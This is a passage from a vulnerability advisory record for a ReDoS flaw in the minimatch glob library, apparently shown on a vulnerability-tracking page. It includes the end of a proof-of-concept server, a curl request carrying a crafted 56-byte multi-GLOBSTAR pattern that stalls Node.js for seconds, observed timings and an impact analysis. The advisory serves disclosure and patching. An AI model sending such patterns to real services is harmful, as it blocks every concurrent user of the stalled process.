res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 })\n res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + \u0027\\n\u0027)\n})\n\nserver.listen(PORT)\n```\n\nTerminal 1 -- start the server:\n```\nnode poc1-server.mjs\n```\n\nTerminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:\n```\ncurl \"http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb\u0026path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa\" \u0026\n```\n\nTerminal 3 -- while the attack is in-flight, send a benign request:\n```\ncurl -w \"\\ntime_total: %{time_total}s\\n\" \"http://localhost:3000/match?pattern=**%2Fy%2Fz\u0026path=x%2Fy%2Fz\"\n```\n\n**Observed output (Terminal 3):**\n```\n{\"result\":true,\"ms\":\"0\"}\n\ntime_total: 4.132709s\n```\n\nThe server reports `\"ms\":\"0\"` -- the legitimate request itself takes zero processing time. The 4+ second `time_total` is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:\n\n```\n{\"result\":true,\"ms\":\"0\"}\n\ntime_total: 0.001599s\n```\n\n---\n\n### Impact\n\nAny application where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.",
"id": "GHSA-7r86-cg39-jmmj",
"modified": "2026-02-26T22:10:18Z",
"published": "2026-02-26T22:10:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/minimatch/security/advisories/GHSA-7r86-cg39-jmmj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27903"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/minimatch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.